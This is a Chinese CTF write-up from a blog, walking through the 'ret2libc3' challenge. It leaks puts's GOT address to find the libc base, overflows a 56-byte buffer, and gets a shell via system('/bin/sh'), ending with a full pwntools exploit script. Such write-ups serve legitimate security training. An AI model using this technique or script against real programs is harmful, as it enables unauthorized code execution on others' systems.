ret2libc3
ret2libc3
这题没有给system,/bin/sh,需要靠自己去泄露信息来完成攻击。
使用IDA反汇编可以知道程序先是读入了一个最长为10的参数,然后转化为long型,strtol函数说明;然后进入See_something函数。
See_something函数是打印所传入指针的内容;打印完后继续执行,然后是读入一个最长为100字节的内容给src,然后执行Print_message函数
这个函数的作用是将前面src复制到dest中,然后打印dest变量。
那么可以发现src可以读入100个字节,dest离ebp却只有56(10进制的)个字节的距离,这里就是很明显的漏洞了。
那溢出到return address我们并没有system的地址,没办法getshell怎么办呢?
那只能靠自己泄露出system的地址;可以知道一个函数被调用过以后,got表里保存了它在内存中的地址,可以通过泄露got表内存来泄露函数地址,就可以根据其与libc中该函数的偏移计算其他函数在内存空间中的地址。因为libc中任意两个函数之间的偏移是固定的。
所以我们只需要算出libc的基地址,然后加上偏移量就可以找到其他函数的地址。
在gdb中动态调试一下,先将断点打在第一个read上0x080485D2
上面的See_sometging可以传入一个指针,查看指针所指向的地址的内容,那么我们传入got表中的puts的地址,让这个函数帮我们找到puts函数在libc中的地址。
先将got表中的puts函数地址复制下来,因为puts函数已经执行过了,所以在got表中存放的是libc中的地址。
转化为10进制传入,因为strtol识别16进制的第一个x时,会不转化为数字了,直接返回0;
继续执行到See_something函数的下一步,就会打印出puts函数存放在libc中的位置。
在libcsearch网址https://libc.blukat.me/中找到对应的最后三位,我这里是cd0,直接查就会出现对应的偏移量;
这里是关于操作系统的段表的对齐所以导致的,即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位(bit)并不会发生改变,感兴趣的同学可以自己去了解一下。
那么就可以根据泄露出来的0xf7e3ccd0(puts的位置) 减去 0x071cd0(puts根据libc基地址的偏移量) 就可以知道libc的基地址;
有了基地址就可以根据基地址加上system的偏移量得出system在libc中的真实位置。
具体构造的payload:
from pwn import *
io = process("./ret2libc3")
elf = ELF("./ret2libc3")
libc = ELF("./ret2libc3")
# sendlineafter 遇到第一个参数就发送一行
# recvuntil 一直接收直到遇见第一个参数
io.sendlineafter(b":",str(elf.got["puts"]))
io.recvuntil(b":")
libcBase = int(io.recvuntil(b"\n",drop = True),16) - 0x071cd0 #通过泄露出来puts的地址减去偏移量就可以得出基地址
success("libcBase -> {:#x}".format(libcBase))
system_add =libcBase + 0x045830
binsh_add = libcBase + 0x192352
payload = flat([cyclic(60), system_add,0xdeadbeef,binsh_add])
io.sendlineafter(b":",payload)
io.interactive()
作者:qianyuzz
出处:https://www.cnblogs.com/qianyuzz/p/17398319.html
版权:本作品采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)